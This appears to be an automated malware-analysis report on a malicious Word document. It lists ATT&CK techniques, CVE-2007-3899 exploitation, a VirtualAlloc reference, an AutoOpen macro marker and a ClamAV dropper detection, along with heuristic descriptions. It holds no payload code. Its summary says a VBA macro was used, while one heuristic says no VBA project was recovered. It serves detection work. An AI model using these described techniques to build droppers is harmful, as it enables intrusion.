MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages a known memory corruption vulnerability (CVE-2007-3899) to achieve code execution. The embedded VBA macro utilizes the VirtualAlloc API, suggesting it allocates memory for and executes shellcode. This is further supported by the presence of an AutoOpen macro, a common technique for automatically running malicious code upon document opening. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' indicates a dropper functionality, likely to download and execute a second-stage payload.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
